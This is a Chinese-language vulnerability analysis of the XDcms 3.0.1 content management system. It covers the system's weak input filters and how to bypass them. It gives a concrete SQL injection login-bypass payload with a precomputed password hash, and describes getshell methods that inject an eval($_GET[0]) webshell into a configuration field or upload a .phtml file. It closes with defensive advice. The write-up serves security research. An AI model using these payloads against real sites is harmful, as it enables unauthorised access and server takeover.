XDcms3.0.1挖掘新利用
字数 1451 2025-08-05 11:39:35
XDcms 3.0.1 漏洞分析与利用指南
一、系统概述
XDcms 3.0.1 是一款存在多处安全漏洞的内容管理系统,其架构特点包括:
- 使用 Smarty 模板引擎
- 采用 MVC 设计模式
- 包含多个基础类:base、db、checkLogin
- 使用自定义的安全过滤函数
二、系统架构分析
1. 核心文件结构
config.inc.php:数据库配置文件fun.inc.php:常用函数文件global.inc.php:框架启动文件clue.inc.php:提示文本base.class.php:基础类定义Cookie.class.php:Cookie 操作类
2. 安全过滤函数分析
safe_html 函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file|outfile/','',$str);
return htmlspecialchars($str);
}
绕过方法:
- 双写绕过(如
selselectect) - 大小写绕过(如
SELECT) - 换行绕过
- 注释符绕过
safe_replace 函数
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
特点:
- 过滤不彻底
- 很多地方忘记调用此函数进行安全过滤
三、漏洞挖掘与利用
1. 任意类方法调用漏洞
漏洞位置:框架启动流程
- 可以包含任意 PHP 文件
- 类构造方法缺乏鉴权,可调用任意 public 方法
利用方法:
- 通过
__call魔术方法实现 XSS 攻击
2. SQL 注入漏洞
漏洞位置:./system/modules/xdcms/login.php 中的 check 方法
public function check(){
$username = safe_html($_POST['username']);
$password = safe_html($_POST['password']);
$verifycode = safe_html($_POST['verifycode']);
// ...
$sql="select * from ".DB_PRE."admin where `username`='$username'";
// ...
$rs=$this->mysql->get_one($sql);
$password=password($password,$rs['encrypt']);
if($password!=$rs['password']){
showmsg(C('password_error'),'-1');
}
漏洞分析:
- 使用不安全的
safe_html过滤登录请求 - 存在 SQL 注入漏洞
- 后台密码虽然加盐并使用自定义加密算法,但可通过万能密码绕过
利用步骤:
- 分析
password函数加密逻辑 - 计算
password('123456','1')的结果(示例中为c6c6e122d028f5e37f845c8660374b78) - 构造注入 payload 控制查询结果的
password和encrypt字段
Payload 示例:
username=q'union selselectect 1,2,'c6c6e122d028f5e37f845c8660374b78' password,'1' encrypt,5,6,7,8,9,10#&password=123456&verifycode=&button=
3. 后台 Getshell 方法
方法一:修改配置文件
路径:后台->系统设置->网页设置->基本信息
利用方式:
- 修改
siteurl参数为恶意代码:http://127.0.0.1/');eval($_GET[0]); - 系统会将此值写入
xdcms.inc.php配置文件
方法二:修改上传设置
路径:后台->系统设置->网页设置->上传设置
利用方式:
- 添加
phtml到允许上传的后缀列表(php 默认在黑名单) - 上传包含恶意代码的
phtml文件
方法三:模板管理写配置
路径:后台->系统设置->栏目管理->管理栏目
利用方式:
- 在任意可编辑字段中插入 PHP 代码
- 注意闭合语句避免破坏网站功能
四、防御建议
-
输入验证:
- 使用预处理语句防止 SQL 注入
- 实现严格的输入过滤,避免使用可绕过的过滤函数
-
权限控制:
- 为所有类方法添加鉴权机制
- 实现最小权限原则
-
安全配置:
- 限制文件上传类型
- 配置文件写入时进行严格过滤
-
加密存储:
- 使用标准的加密算法(如 bcrypt)替代自定义加密
- 确保盐值足够随机
-
框架安全:
- 避免直接包含用户可控的文件
- 对魔术方法调用进行安全检查
五、总结
XDcms 3.0.1 存在多处安全漏洞,从 SQL 注入到后台 getshell 形成完整的攻击链。通过分析其安全过滤函数的缺陷,攻击者可构造万能密码进入后台,进而通过多种方式获取服务器权限。这提醒开发人员需要重视安全函数的实现和调用,以及权限控制的完整性。